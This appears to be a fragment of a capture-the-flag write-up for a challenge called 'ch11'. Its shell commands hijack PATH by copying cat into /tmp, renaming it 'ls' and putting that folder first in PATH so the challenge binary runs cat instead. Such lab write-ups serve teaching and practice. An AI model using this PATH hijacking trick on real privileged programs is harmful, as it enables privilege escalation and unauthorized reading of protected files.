We need to copy cat into /tmp, then change the name to “ls” and change the path to that folder. Now the script will read it as cat.
1
2
3
4
5
> mkdir /tmp/isntma
> cp /bin/cat /tmp/isntma
> mv /tmp/isntma/cat /tmp/isntma/ls
> export PATH=/tmp/isntma:$PATH
> ./ch11